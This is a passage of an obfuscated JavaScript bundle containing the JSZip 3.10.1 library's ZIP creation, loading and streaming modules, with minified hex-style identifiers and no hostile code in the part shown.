_0x84e12a; _0x1118f5 < _0x424151; _0x1118f5++)_0x50634e = _0x50634e >>> 0x8 ^ _0x15553c[0xff & (_0x50634e ^ _0x25536f[_0x1118f5])]; return -0x1 ^ _0x50634e; }(0x0 | _0x21d9a4, _0x492ea6, _0x492ea6['length'], 0x0) : function (_0x1331d1, _0x31145e, _0x44409b, _0x1a763c) { var _0xd8f46f = _0x2cee05, _0x3b2c27 = _0x1a763c + _0x44409b; _0x1331d1 ^= -0x1; for (var _0x3ce9fb = _0x1a763c; _0x3ce9fb < _0x3b2c27; _0x3ce9fb++)_0x1331d1 = _0x1331d1 >>> 0x8 ^ _0xd8f46f[0xff & (_0x1331d1 ^ _0x31145e['charCodeAt'](_0x3ce9fb))]; return -0x1 ^ _0x1331d1; }(0x0 | _0x21d9a4, _0x492ea6, _0x492ea6['length'], 0x0) : 0x0; }; }, { './utils': 0x20 }], 0x5: [function (_0x5e4d2f, _0x1a93f2, _0x12fa44) { 'use strict'; _0x12fa44['base64'] = !0x1, _0x12fa44['binary'] = !0x1, _0x12fa44['dir'] = !0x1, _0x12fa44['createFolders'] = !0x0, _0x12fa44['date'] = null, _0x12fa44['compression'] = null, _0x12fa44['compressionOptions'] = null, _0x12fa44['comment'] = null, _0x12fa44['unixPermissions'] = null, _0x12fa44['dosPermissions'] = null; }, {}], 0x6: [function (_0x189006, _0x3db55a, _0xeed8e3) { 'use strict'; var _0x468f83 = null; _0x468f83 = 'undefined' != typeof Promise ? Promise : _0x189006('lie'), _0x3db55a['exports'] = { 'Promise': _0x468f83 }; }, { 'lie': 0x25 }], 0x7: [function (_0xacb1a5, _0x4be834, _0x44171d) { 'use strict'; var _0xf20de8 = 'undefined' != typeof Uint8Array && 'undefined' != typeof Uint16Array && 'undefined' != typeof Uint32Array, _0x15ae3e = _0xacb1a5('pako'), _0xa7d88 = _0xacb1a5('./utils'), _0x5b7afa = _0xacb1a5('./stream/GenericWorker'), _0x541856 = _0xf20de8 ? 'uint8array' : 'array'; function _0x1da33a(_0x12547b, _0x2d2f6c) { _0x5b7afa['call'](this, 'FlateWorker/' + _0x12547b), this['_pako'] = null, this['_pakoAction'] = _0x12547b, this['_pakoOptions'] = _0x2d2f6c, this['meta'] = {}; } _0x44171d['magic'] = '\x08\x00', _0xa7d88['inherits'](_0x1da33a, _0x5b7afa), _0x1da33a['prototype']['processChunk'] = function (_0x28c3bc) { this['meta'] = _0x28c3bc['meta'], null === this['_pako'] && this['_createPako'](), this['_pako']['push'](_0xa7d88['transformTo'](_0x541856, _0x28c3bc['data']), !0x1); }, _0x1da33a['prototype']['flush'] = function () { _0x5b7afa['prototype']['flush']['call'](this), null === this['_pako'] && this['_createPako'](), this['_pako']['push']([], !0x0); }, _0x1da33a['prototype']['cleanUp'] = function () { _0x5b7afa['prototype']['cleanUp']['call'](this), this['_pako'] = null; }, _0x1da33a['prototype']['_createPako'] = function () { this['_pako'] = new _0x15ae3e[this['_pakoAction']]({ 'raw': !0x0, 'level': this['_pakoOptions']['level'] || -0x1 }); var _0x23b18d = this; this['_pako']['onData'] = function (_0x161a7e) { _0x23b18d['push']({ 'data': _0x161a7e, 'meta': _0x23b18d['meta'] }); }; }, _0x44171d['compressWorker'] = function (_0xf54e8a) { return new _0x1da33a('Deflate', _0xf54e8a); }, _0x44171d['uncompressWorker'] = function () { return new _0x1da33a('Inflate', {}); }; }, { './stream/GenericWorker': 0x1c, './utils': 0x20, 'pako': 0x26 }], 0x8: [function (_0x4e39ab, _0x11f6e5, _0x2d58ee) { 'use strict'; function _0x3e5bb9(_0x1c7e94, _0xe81339) { var _0x3d4e2c, _0x2f6811 = ''; for (_0x3d4e2c = 0x0; _0x3d4e2c < _0xe81339; _0x3d4e2c++)_0x2f6811 += String['fromCharCode'](0xff & _0x1c7e94), _0x1c7e94 >>>= 0x8; return _0x2f6811; } function _0x12b176(_0x25ba89, _0x35253e, _0x3a79c1, _0x575aca, _0x16c4a5, _0x2dc3a1) { var _0x83baa5, _0x32418d, _0x3fb90d = _0x25ba89['file'], _0x31c87f = _0x25ba89['compression'], _0x183c23 = _0x2dc3a1 !== _0x26e04c['utf8encode'], _0xe5603b = _0x3c729b['transformTo']('string', _0x2dc3a1(_0x3fb90d['name'])), _0x5f0ab7 = _0x3c729b['transformTo']('string', _0x26e04c['utf8encode'](_0x3fb90d['name'])), _0x151cbf = _0x3fb90d['comment'], _0xe27fe5 = _0x3c729b['transformTo']('string', _0x2dc3a1(_0x151cbf)), _0x47b2e8 = _0x3c729b['transformTo']('string', _0x26e04c['utf8encode'](_0x151cbf)), _0x177fd0 = _0x5f0ab7['length'] !== _0x3fb90d['name']['length'], _0x30d166 = _0x47b2e8['length'] !== _0x151cbf['length'], _0x7d0273 = '', _0x3731fc = '', _0x4c486b = '', _0x5b7751 = _0x3fb90d['dir'], _0x1207c0 = _0x3fb90d['date'], _0xdbed27 = { 'crc32': 0x0, 'compressedSize': 0x0, 'uncompressedSize': 0x0 }; _0x35253e && !_0x3a79c1 || (_0xdbed27['crc32'] = _0x25ba89['crc32'], _0xdbed27['compressedSize'] = _0x25ba89['compressedSize'], _0xdbed27['uncompressedSize'] = _0x25ba89['uncompressedSize']); var _0x5d0770 = 0x0; _0x35253e && (_0x5d0770 |= 0x8), _0x183c23 || !_0x177fd0 && !_0x30d166 || (_0x5d0770 |= 0x800); var _0x150726 = 0x0, _0x4c419d = 0x0; _0x5b7751 && (_0x150726 |= 0x10), 'UNIX' === _0x16c4a5 ? (_0x4c419d = 0x31e, _0x150726 |= function (_0x1fae79, _0x5a9a5d) { var _0x1f7d3d = _0x1fae79; return _0x1fae79 || (_0x1f7d3d = _0x5a9a5d ? 0x41fd : 0x81b4), (0xffff & _0x1f7d3d) << 0x10; }(_0x3fb90d['unixPermissions'], _0x5b7751)) : (_0x4c419d = 0x14, _0x150726 |= function (_0x27dc87) { return 0x3f & (_0x27dc87 || 0x0); }(_0x3fb90d['dosPermissions'])), _0x83baa5 = _0x1207c0['getUTCHours'](), _0x83baa5 <<= 0x6, _0x83baa5 |= _0x1207c0['getUTCMinutes'](), _0x83baa5 <<= 0x5, _0x83baa5 |= _0x1207c0['getUTCSeconds']() / 0x2, _0x32418d = _0x1207c0['getUTCFullYear']() - 0x7bc, _0x32418d <<= 0x4, _0x32418d |= _0x1207c0['getUTCMonth']() + 0x1, _0x32418d <<= 0x5, _0x32418d |= _0x1207c0['getUTCDate'](), _0x177fd0 && (_0x3731fc = _0x3e5bb9(0x1, 0x1) + _0x3e5bb9(_0x591ea9(_0xe5603b), 0x4) + _0x5f0ab7, _0x7d0273 += 'up' + _0x3e5bb9(_0x3731fc['length'], 0x2) + _0x3731fc), _0x30d166 && (_0x4c486b = _0x3e5bb9(0x1, 0x1) + _0x3e5bb9(_0x591ea9(_0xe27fe5), 0x4) + _0x47b2e8, _0x7d0273 += 'uc' + _0x3e5bb9(_0x4c486b['length'], 0x2) + _0x4c486b); var _0x2f139e = ''; return _0x2f139e += '\x0a\x00', _0x2f139e += _0x3e5bb9(_0x5d0770, 0x2), _0x2f139e += _0x31c87f['magic'], _0x2f139e += _0x3e5bb9(_0x83baa5, 0x2), _0x2f139e += _0x3e5bb9(_0x32418d, 0x2), _0x2f139e += _0x3e5bb9(_0xdbed27['crc32'], 0x4), _0x2f139e += _0x3e5bb9(_0xdbed27['compressedSize'], 0x4), _0x2f139e += _0x3e5bb9(_0xdbed27['uncompressedSize'], 0x4), _0x2f139e += _0x3e5bb9(_0xe5603b['length'], 0x2), _0x2f139e += _0x3e5bb9(_0x7d0273['length'], 0x2), { 'fileRecord': _0x352d13['LOCAL_FILE_HEADER'] + _0x2f139e + _0xe5603b + _0x7d0273, 'dirRecord': _0x352d13['CENTRAL_FILE_HEADER'] + _0x3e5bb9(_0x4c419d, 0x2) + _0x2f139e + _0x3e5bb9(_0xe27fe5['length'], 0x2) + '\x00\x00\x00\x00' + _0x3e5bb9(_0x150726, 0x4) + _0x3e5bb9(_0x575aca, 0x4) + _0xe5603b + _0x7d0273 + _0xe27fe5 }; } var _0x3c729b = _0x4e39ab('../utils'), _0x41047e = _0x4e39ab('../stream/GenericWorker'), _0x26e04c = _0x4e39ab('../utf8'), _0x591ea9 = _0x4e39ab('../crc32'), _0x352d13 = _0x4e39ab('../signature'); function _0x1fda5b(_0x310e7b, _0x3084c3, _0xee2b18, _0x1f1154) { _0x41047e['call'](this, 'ZipFileWorker'), this['bytesWritten'] = 0x0, this['zipComment'] = _0x3084c3, this['zipPlatform'] = _0xee2b18, this['encodeFileName'] = _0x1f1154, this['streamFiles'] = _0x310e7b, this['accumulate'] = !0x1, this['contentBuffer'] = [], this['dirRecords'] = [], this['currentSourceOffset'] = 0x0, this['entriesCount'] = 0x0, this['currentFile'] = null, this['_sources'] = []; } _0x3c729b['inherits'](_0x1fda5b, _0x41047e), _0x1fda5b['prototype']['push'] = function (_0xff8356) { var _0x12e8fd = _0xff8356['meta']['percent'] || 0x0, _0x5b43dd = this['entriesCount'], _0x20175b = this['_sources']['length']; this['accumulate'] ? this['contentBuffer']['push'](_0xff8356) : (this['bytesWritten'] += _0xff8356['data']['length'], _0x41047e['prototype']['push']['call'](this, { 'data': _0xff8356['data'], 'meta': { 'currentFile': this['currentFile'], 'percent': _0x5b43dd ? (_0x12e8fd + 0x64 * (_0x5b43dd - _0x20175b - 0x1)) / _0x5b43dd : 0x64 } })); }, _0x1fda5b['prototype']['openedSource'] = function (_0x9b9ffb) { this['currentSourceOffset'] = this['bytesWritten'], this['currentFile'] = _0x9b9ffb['file']['name']; var _0x4cec9e = this['streamFiles'] && !_0x9b9ffb['file']['dir']; if (_0x4cec9e) { var _0x5c6115 = _0x12b176(_0x9b9ffb, _0x4cec9e, !0x1, this['currentSourceOffset'], this['zipPlatform'], this['encodeFileName']); this['push']({ 'data': _0x5c6115['fileRecord'], 'meta': { 'percent': 0x0 } }); } else this['accumulate'] = !0x0; }, _0x1fda5b['prototype']['closedSource'] = function (_0x55c8ca) { this['accumulate'] = !0x1; var _0x53627b = this['streamFiles'] && !_0x55c8ca['file']['dir'], _0x5d5f73 = _0x12b176(_0x55c8ca, _0x53627b, !0x0, this['currentSourceOffset'], this['zipPlatform'], this['encodeFileName']); if (this['dirRecords']['push'](_0x5d5f73['dirRecord']), _0x53627b) this['push']({ 'data': function (_0x433283) { return _0x352d13['DATA_DESCRIPTOR'] + _0x3e5bb9(_0x433283['crc32'], 0x4) + _0x3e5bb9(_0x433283['compressedSize'], 0x4) + _0x3e5bb9(_0x433283['uncompressedSize'], 0x4); }(_0x55c8ca), 'meta': { 'percent': 0x64 } }); else { for (this['push']({ 'data': _0x5d5f73['fileRecord'], 'meta': { 'percent': 0x0 } }); this['contentBuffer']['length'];)this['push'](this['contentBuffer']['shift']()); } this['currentFile'] = null; }, _0x1fda5b['prototype']['flush'] = function () { for (var _0x4f519e = this['bytesWritten'], _0x522567 = 0x0; _0x522567 < this['dirRecords']['length']; _0x522567++)this['push']({ 'data': this['dirRecords'][_0x522567], 'meta': { 'percent': 0x64 } }); var _0x80cd88 = this['bytesWritten'] - _0x4f519e, _0x3d014a = function (_0x429075, _0x451db9, _0x585d58, _0xc4ba7c, _0x52be3b) { var _0x46c37b = _0x3c729b['transformTo']('string', _0x52be3b(_0xc4ba7c)); return _0x352d13['CENTRAL_DIRECTORY_END'] + '\x00\x00\x00\x00' + _0x3e5bb9(_0x429075, 0x2) + _0x3e5bb9(_0x429075, 0x2) + _0x3e5bb9(_0x451db9, 0x4) + _0x3e5bb9(_0x585d58, 0x4) + _0x3e5bb9(_0x46c37b['length'], 0x2) + _0x46c37b; }(this['dirRecords']['length'], _0x80cd88, _0x4f519e, this['zipComment'], this['encodeFileName']); this['push']({ 'data': _0x3d014a, 'meta': { 'percent': 0x64 } }); }, _0x1fda5b['prototype']['prepareNextSource'] = function () { this['previous'] = this['_sources']['shift'](), this['openedSource'](this['previous']['streamInfo']), this['isPaused'] ? this['previous']['pause']() : this['previous']['resume'](); }, _0x1fda5b['prototype']['registerPrevious'] = function (_0x35b764) { this['_sources']['push'](_0x35b764); var _0x2b4dc0 = this; return _0x35b764['on']('data', function (_0x39426a) { _0x2b4dc0['processChunk'](_0x39426a); }), _0x35b764['on']('end', function () { _0x2b4dc0['closedSource'](_0x2b4dc0['previous']['streamInfo']), _0x2b4dc0['_sources']['length'] ? _0x2b4dc0['prepareNextSource']() : _0x2b4dc0['end'](); }), _0x35b764['on']('error', function (_0x2d7d0a) { _0x2b4dc0['error'](_0x2d7d0a); }), this; }, _0x1fda5b['prototype']['resume'] = function () { return !!_0x41047e['prototype']['resume']['call'](this) && (!this['previous'] && this['_sources']['length'] ? (this['prepareNextSource'](), !0x0) : this['previous'] || this['_sources']['length'] || this['generatedError'] ? void 0x0 : (this['end'](), !0x0)); }, _0x1fda5b['prototype']['error'] = function (_0x4736ad) { var _0x1c3faa = this['_sources']; if (!_0x41047e['prototype']['error']['call'](this, _0x4736ad)) return !0x1; for (var _0x25c9d8 = 0x0; _0x25c9d8 < _0x1c3faa['length']; _0x25c9d8++)try { _0x1c3faa[_0x25c9d8]['error'](_0x4736ad); } catch (_0x5da954) { } return !0x0; }, _0x1fda5b['prototype']['lock'] = function () { _0x41047e['prototype']['lock']['call'](this); for (var _0xc485fd = this['_sources'], _0x13a276 = 0x0; _0x13a276 < _0xc485fd['length']; _0x13a276++)_0xc485fd[_0x13a276]['lock'](); }, _0x11f6e5['exports'] = _0x1fda5b; }, { '../crc32': 0x4, '../signature': 0x17, '../stream/GenericWorker': 0x1c, '../utf8': 0x1f, '../utils': 0x20 }], 0x9: [function (_0x57e041, _0x4d5c78, _0x23c89e) { 'use strict'; var _0x1f4780 = _0x57e041('../compressions'), _0x25a3c6 = _0x57e041('./ZipFileWorker'); _0x23c89e['generateWorker'] = function (_0x3774f2, _0x21e39e, _0x29d491) { var _0x2590e0 = new _0x25a3c6(_0x21e39e['streamFiles'], _0x29d491, _0x21e39e['platform'], _0x21e39e['encodeFileName']), _0x25fc17 = 0x0; try { _0x3774f2['forEach'](function (_0x1ee7b4, _0x33121e) { _0x25fc17++; var _0x25ea51 = function (_0x279959, _0x44f184) { var _0x31c8d1 = _0x279959 || _0x44f184, _0x40b4d9 = _0x1f4780[_0x31c8d1]; if (!_0x40b4d9) throw new Error(_0x31c8d1 + '\x20is\x20not\x20a\x20valid\x20compression\x20method\x20!'); return _0x40b4d9; }(_0x33121e['options']['compression'], _0x21e39e['compression']), _0x2b1d00 = _0x33121e['options']['compressionOptions'] || _0x21e39e['compressionOptions'] || {}, _0x4a25f1 = _0x33121e['dir'], _0x21f56c = _0x33121e['date']; _0x33121e['_compressWorker'](_0x25ea51, _0x2b1d00)['withStreamInfo']('file', { 'name': _0x1ee7b4, 'dir': _0x4a25f1, 'date': _0x21f56c, 'comment': _0x33121e['comment'] || '', 'unixPermissions': _0x33121e['unixPermissions'], 'dosPermissions': _0x33121e['dosPermissions'] })['pipe'](_0x2590e0); }), _0x2590e0['entriesCount'] = _0x25fc17; } catch (_0x34a443) { _0x2590e0['error'](_0x34a443); } return _0x2590e0; }; }, { '../compressions': 0x3, './ZipFileWorker': 0x8 }], 0xa: [function (_0x23f7f2, _0x4d2788, _0x5b65fd) { 'use strict'; function _0x5bdef4() { if (!(this instanceof _0x5bdef4)) return new _0x5bdef4(); if (arguments['length']) throw new Error('The\x20constructor\x20with\x20parameters\x20has\x20been\x20removed\x20in\x20JSZip\x203.0,\x20please\x20check\x20the\x20upgrade\x20guide.'); this['files'] = Object['create'](null), this['comment'] = null, this['root'] = '', this['clone'] = function () { var _0x134b48 = new _0x5bdef4(); for (var _0x3346d7 in this) 'function' != typeof this[_0x3346d7] && (_0x134b48[_0x3346d7] = this[_0x3346d7]); return _0x134b48; }; } (_0x5bdef4['prototype'] = _0x23f7f2('./object'))['loadAsync'] = _0x23f7f2('./load'), _0x5bdef4['support'] = _0x23f7f2('./support'), _0x5bdef4['defaults'] = _0x23f7f2('./defaults'), _0x5bdef4['version'] = '3.10.1', _0x5bdef4['loadAsync'] = function (_0x4e97c0, _0x45ce32) { return new _0x5bdef4()['loadAsync'](_0x4e97c0, _0x45ce32); }, _0x5bdef4['external'] = _0x23f7f2('./external'), _0x4d2788['exports'] = _0x5bdef4; }, { './defaults': 0x5, './external': 0x6, './load': 0xb, './object': 0xf, './support': 0x1e }], 0xb: [function (_0x5318e3, _0x235b9a, _0x176cf7) { 'use strict'; var _0x5494b4 = _0x5318e3('./utils'), _0x357ef6 = _0x5318e3('./external'), _0x5bd4e5 = _0x5318e3('./utf8'), _0xec7518 = _0x5318e3('./zipEntries'), _0x25f5bc = _0x5318e3('./stream/Crc32Probe'), _0x38663f = _0x5318e3('./nodejsUtils'); function _0x139b1f(_0x42cace) { return new _0x357ef6['Promise'](function (_0x55b16e, _0x1a1344) { var _0x3b9cec = _0x42cace['decompressed']['getContentWorker']()['pipe'](new _0x25f5bc()); _0x3b9cec['on']('error', function (_0x3a4ecf) { _0x1a1344(_0x3a4ecf); })['on']('end', function () { _0x3b9cec['streamInfo']['crc32'] !== _0x42cace['decompressed']['crc32'] ? _0x1a1344(new Error('Corrupted\x20zip\x20:\x20CRC32\x20mismatch')) : _0x55b16e(); })['resume'](); }); } _0x235b9a['exports'] = function (_0x295303, _0x1adbde) { var _0x4f41e5 = this; return _0x1adbde = _0x5494b4['extend'](_0x1adbde || {}, { 'base64': !0x1, 'checkCRC32': !0x1, 'optimizedBinaryString': !0x1, 'createFolders': !0x1, 'decodeFileName': _0x5bd4e5['utf8decode'] }), _0x38663f['isNode'] && _0x38663f['isStream'](_0x295303) ? _0x357ef6['Promise']['reject'](new Error('JSZip\x20can\x27t\x20accept\x20a\x20stream\x20when\x20loading\x20a\x20zip\x20file.')) : _0x5494b4['prepareContent']('the\x20loaded\x20zip\x20file', _0x295303, !0x0, _0x1adbde['optimizedBinaryString'], _0x1adbde['base64'])['then'](function (_0x3a7ceb) { var _0x771b69 = new _0xec7518(_0x1adbde); return _0x771b69['load'](_0x3a7ceb), _0x771b69; })['then'](function (_0x4939f9) { var _0x3071c7 = [_0x357ef6['Promise']['resolve'](_0x4939f9)], _0x30bc40 = _0x4939f9['files']; if (_0x1adbde['checkCRC32']) { for (var _0x3a2e9f = 0x0; _0x3a2e9f < _0x30bc40['length']; _0x3a2e9f++)_0x3071c7['push'](_0x139b1f(_0x30bc40[_0x3a2e9f])); } return _0x357ef6['Promise']['all'](_0x3071c7); })['then'](function (_0x286b4a) { for (var _0x529ecb = _0x286b4a['shift'](), _0x2e0ae8 = _0x529ecb['files'], _0xecd17e = 0x0; _0xecd17e < _0x2e0ae8['length']; _0xecd17e++) { var _0x23405e = _0x2e0ae8[_0xecd17e], _0x1ce2b6 = _0x23405e['fileNameStr'], _0x590a4f = _0x5494b4['resolve'](_0x23405e['fileNameStr']); _0x4f41e5['file'](_0x590a4f, _0x23405e['decompressed'], { 'binary': !0x0, 'optimizedBinaryString': !0x0, 'date': _0x23405e['date'], 'dir': _0x23405e['dir'], 'comment': _0x23405e['fileCommentStr']['length'] ? _0x23405e['fileCommentStr'] : null, 'unixPermissions': _0x23405e['unixPermissions'], 'dosPermissions': _0x23405e['dosPermissions'], 'createFolders': _0x1adbde['createFolders'] }), _0x23405e['dir'] || (_0x4f41e5['file'](_0x590a4f)['unsafeOriginalName'] = _0x1ce2b6); } return _0x529ecb['zipComment']['length'] && (_0x4f41e5['comment'] = _0x529ecb['zipComment']), _0x4f41e5; }); }; }, { './external': 0x6, './nodejsUtils': 0xe, './stream/Crc32Probe': 0x19, './utf8': 0x1f, './utils': 0x20, './zipEntries': 0x21 }], 0xc: [function (_0x1c4c37, _0x175e6e, _0x4534dd) { 'use strict'; var _0xad0e1d = _0x1c4c37('../utils'), _0xf2114 = _0x1c4c37('../stream/GenericWorker'); function _0x28e7e3(_0x38b935, _0x1b360f) { _0xf2114['call'](this, 'Nodejs\x20stream\x20input\x20adapter\x20for\x20' + _0x38b935), this['_upstreamEnded'] = !0x1, this['_bindStream'](_0x1b360f); } _0xad0e1d['inherits'](_0x28e7e3, _0xf2114), _0x28e7e3['prototype']['_bindStream'] = function (_0x95e05d) { var _0xea9b9f = this; (this['_stream'] = _0x95e05d)['pause'](), _0x95e05d['on']('data', function (_0x3ef164) { _0xea9b9f['push']({ 'data': _0x3ef164, 'meta': { 'percent': 0x0 } }); })['on']('error', function (_0x6a4826) { _0xea9b9f['isPaused'] ? this['generatedError'] = _0x6a4826 : _0xea9b9f['error'](_0x6a4826); })['on']('end', function () { _0xea9b9f['isPaused'] ? _0xea9b9f['_upstreamEnded'] = !0x0 : _0xea9b9f['end'](); }); }, _0x28e7e3['prototype']['pause'] = function () { return !!_0xf2114['prototype']['pause']['call'](this) && (this['_stream']['pause'](), !0x0); }, _0x28e7e3['prototype']['resume'] = function () { return !!_0xf2114['prototype']['resume']['call'](this) && (this['_upstreamEnded'] ? this['end']() : this['_stream']['resume'](), !0x0); }, _0x175e6e['exports'] = _0x28e7e3; }, { '../stream/GenericWorker': 0x1c, '../utils': 0x20 }], 0xd: [function (_0x28d47b, _0x16eda2, _0x4a4eee) { 'use strict'; var _0x4aeb3d = _0x28d47b('readable-stream')['Readable']; function _0x1ce598(_0x5dd616, _0x4d0296, _0x4226bf) { _0x4aeb3d['call'](this, _0x4d0296), this['_helper'] = _0x5dd616; var _0x459700 = this; _0x5dd616['on']('data', function (_0x156d25, _0x11f958) { _0x459700['push'](_0x156d25) || _0x459700['_helper']['pause'](), _0x4226bf && _0x4226bf(_0x11f958); })['on']('error', function (_0x3eb15b) { _0x459700['emit']('error', _0x3eb15b); })['on']('end', function () { _0x459700['push'](null); }); } _0x28d47b('../utils')['inherits'](_0x1ce598, _0x4aeb3d), _0x1ce598['prototype']['_read'] = function () { this['_helper']['resume'](); }, _0x16eda2['exports'] = _0x1ce598; }, { '../utils': 0x20, 'readable-stream': 0x10 }], 0xe: [function (_0x54b6b3, _0x3ee98e, _0x1f9f5f) { 'use strict'; _0x3ee98e['exports'] = { 'isNode': 'undefined' != typeof Buffer, 'newBufferFrom': function (_0x31f809, _0xba4ec7) { if (Buffer['from'] && Buffer['from'] !== Uint8Array['from']) return Buffer['from'](_0x31f809, _0xba4ec7); if ('number' == typeof _0x31f809) throw new Error('The\x20\x22data\x22\x20argument\x20must\x20not\x20be\x20a\x20number'); return new Buffer(_0x31f809, _0xba4ec7); }, 'allocBuffer': function (_0x34b78b) { if (Buffer['alloc']) return Buffer['alloc'](_0x34b78b); var _0x38debe = new Buffer(_0x34b78b); return _0x38debe['fill'](0x0), _0x38debe; }, 'isBuffer': function (_0x27e90d) { return Buffer['isBuffer'](_0x27e90d); }, 'isStream': function (_0x2c8be1) { return _0x2c8be1 && 'function' == typeof _0x2c8be1['on'] && 'function' == typeof _0x2c8be1['pause'] && 'function' == typeof _0x2c8be1['resume']; } }; }, {}], 0xf: [function (_0x28ff56, _0x354c98, _0x4c4d0d) { 'use strict'; function _0x895fad(_0x6ae6d9, _0x4fa0ef, _0x53be0b) { var _0x5d8f45, _0x6e741d = _0x11ded2['getTypeOf'](_0x4fa0ef), _0x243231 = _0x11ded2['extend'](_0x53be0b || {}, _0x1c3669); _0x243231['date'] = _0x243231['date'] || new Date(), null !== _0x243231['compression'] && (_0x243231['compression'] = _0x243231['compression']['toUpperCase']()), 'string' == typeof _0x243231['unixPermissions'] && (_0x243231['unixPermissions'] = parseInt(_0x243231['unixPermissions'], 0x8)), _0x243231['unixPermissions'] && 0x4000 & _0x243231['unixPermissions'] && (_0x243231['dir'] = !0x0), _0x243231['dosPermissions'] && 0x10 & _0x243231['dosPermissions'] && (_0x243231['dir'] = !0x0), _0x243231['dir'] && (_0x6ae6d9 = _0x176ceb(_0x6ae6d9)), _0x243231['createFolders'] && (_0x5d8f45 = _0x6dafb5(_0x6ae6d9)) && _0x224eae['call'](this, _0x5d8f45, !0x0); var _0x3e3d4f = 'string' === _0x6e741d && !0x1 === _0x243231['binary'] && !0x1 === _0x243231['base64']; _0x53be0b && void 0x0 !== _0x53be0b['binary'] || (_0x243231['binary'] = !_0x3e3d4f), (_0x4fa0ef instanceof _0x1cd680 && 0x0 === _0x4fa0ef['uncompressedSize'] || _0x243231['dir'] || !_0x4fa0ef || 0x0 === _0x4fa0ef['length']) && (_0x243231['base64'] = !0x1, _0x243231['binary'] = !0x0, _0x4fa0ef = '', _0x243231['compression'] = 'STORE', _0x6e741d = 'string'); var _0x37c240 = null; _0x37c240 = _0x4fa0ef instanceof _0x1cd680 || _0x4fa0ef instanceof _0x293a10 ? _0x4fa0ef : _0x47bbca['isNode'] && _0x47bbca['isStream'](_0x4fa0ef) ? new _0x8472e5(_0x6ae6d9, _0x4fa0ef) : _0x11ded2['prepareContent'](_0x6ae6d9, _0x4fa0ef, _0x243231['binary'], _0x243231['optimizedBinaryString'], _0x243231['base64']); var _0x3c8741 = new _0x137183(_0x6ae6d9, _0x37c240, _0x243231); this['files'][_0x6ae6d9] = _0x3c8741; } var _0x430cd5 = _0x28ff56('./utf8'), _0x11ded2 = _0x28ff56('./utils'), _0x293a10 = _0x28ff56('./stream/GenericWorker'), _0x12eb9d = _0x28ff56('./stream/StreamHelper'), _0x1c3669 = _0x28ff56('./defaults'), _0x1cd680 = _0x28ff56('./compressedObject'), _0x137183 = _0x28ff56('./zipObject'), _0x1954f6 = _0x28ff56('./generate'), _0x47bbca = _0x28ff56('./nodejsUtils'), _0x8472e5 = _0x28ff56('./nodejs/NodejsStreamInputAdapter'), _0x6dafb5 = function (_0x2e50a2) { '/' === _0x2e50a2['slice'](-0x1) && (_0x2e50a2 = _0x2e50a2['substring'](0x0, _0x2e50a2['length'] - 0x1)); var _0x5271cc = _0x2e50a2['lastIndexOf']('/'); return 0x0 < _0x5271cc ? _0x2e50a2['substring'](0x0, _0x5271cc) : ''; }, _0x176ceb = function (_0x5e8d9d) { return '/' !== _0x5e8d9d['slice'](-0x1) && (_0x5e8d9d += '/'), _0x5e8d9d; }, _0x224eae = function (_0x144390, _0xd4713d) { return _0xd4713d = void 0x0 !== _0xd4713d ? _0xd4713d : _0x1c3669['createFolders'], _0x144390 = _0x176ceb(_0x144390), this['files'][_0x144390] || _0x895fad['call'](this, _0x144390, null, { 'dir': !0x0, 'createFolders': _0xd4713d }), this['files'][_0x144390]; }; function _0x9dc6a0(_0x502b91) { return '[object\x20RegExp]' === Object['prototype']['toString']['call'](_0x502b91); } var _0x3ca556 = { 'load': function () { throw new Error('This\x20method\x20has\x20been\x20removed\x20in\x20JSZip\x203.0,\x20please\x20check\x20the\x20upgrade\x20guide.'); }, 'forEach': function (_0x3e8e36) { var _0x2b7ac3, _0x39b6fe, _0x2177b6; for (_0x2b7ac3 in this['files']) _0x2177b6 = this['files'][_0x2b7ac3], (_0x39b6fe = _0x2b7ac3['slice'](this['root']['length'], _0x2b7ac3['length'])) && _0x2b7ac3['slice'](0x0, this['root']['length']) === this['root'] && _0x3e8e36(_0x39b6fe, _0x2177b6); }, 'filter': function (_0x4e308f) { var _0x3204e0 = []; return this['forEach'](function (_0x58b70f, _0x4f0eb8) { _0x4e308f(_0x58b70f, _0x4f0eb8) && _0x3204e0['push'](_0x4f0eb8); }), _0x3204e0; }, 'file': function (_0x18f4cc, _0x2089da, _0x2f88e8) { if (0x1 !== arguments['length']) return _0x18f4cc = this['root'] + _0x18f4cc, _0x895fad['call'](this, _0x18f4cc, _0x2089da, _0x2f88e8), this; if (_0x9dc6a0(_0x18f4cc)) { var _0x5d5323 = _0x18f4cc; return this['filter'](function (_0x56a89c, _0x23c8da) { return !_0x23c8da['dir'] && _0x5d5323['test'](_0x56a89c); }); } var _0x4f00cd = this['files'][this['root'] + _0x18f4cc]; return _0x4f00cd && !_0x4f00cd['dir'] ? _0x4f00cd : null; }, 'folder': function (_0x4265ce) { if (!_0x4265ce) return this; if (_0x9dc6a0(_0x4265ce)) return this['filter'](function (_0x35a8b8, _0x2df8b6) { return _0x2df8b6['dir'] && _0x4265ce['test'](_0x35a8b8); }); var _0x1c4e3e = this['root'] + _0x4265ce, _0x34b940 = _0x224eae['call'](this, _0x1c4e3e), _0x293782 = this['clone'](); return _0x293782['root'] = _0x34b940['name'], _0x293782; }, 'remove': function (_0x475d0a) { _0x475d0a = this['root'] + _0x475d0a; var _0x3c606d = this['files'][_0x475d0a]; if (_0x3c606d || ('/' !== _0x475d0a['slice'](-0x1) && (_0x475d0a += '/'), _0x3c606d = this['files'][_0x475d0a]), _0x3c606d && !_0x3c606d['dir']) delete this['files'][_0x475d0a]; else { for (var _0x1adea5 = this['filter'](function (_0xd551cd, _0x3a26f9) { return _0x3a26f9['name']['slice'](0x0, _0x475d0a['length']) === _0x475d0a; }), _0x3290c1 = 0x0; _0x3290c1 < _0x1adea5['length']; _0x3290c1++)delete this['files'][_0x1adea5[_0x3290c1]['name']]; } return this; }, 'generate': function () { throw new Error('This\x20method\x20has\x20been\x20removed\x20in\x20JSZip\x203.0,\x20please\x20check\x20the\x20upgrade\x20guide.'); }, 'generateInternalStream': function (_0x353ad3) { var _0x3b8402, _0x167a6f = {}; try { if ((_0x167a6f = _0x11ded2['extend'](_0x353ad3 || {}, { 'streamFiles': !0x1, 'compression': 'STORE', 'compressionOptions': null, 'type': '', 'platform': 'DOS', 'comment': null, 'mimeType': 'application/zip', 'encodeFileName': _0x430cd5['utf8encode'] }))['type'] = _0x167a6f['type']['toLowerCase'](), _0x167a6f['compression'] = _0x167a6f['compression']['toUpperCase'](), 'binarystring' === _0x167a6f['type'] && (_0x167a6f['type'] = 'string'), !_0x167a6f['type']) throw new Error('No\x20output\x20type\x20specified.'); _0x11ded2['checkSupport'](_0x167a6f['type']), 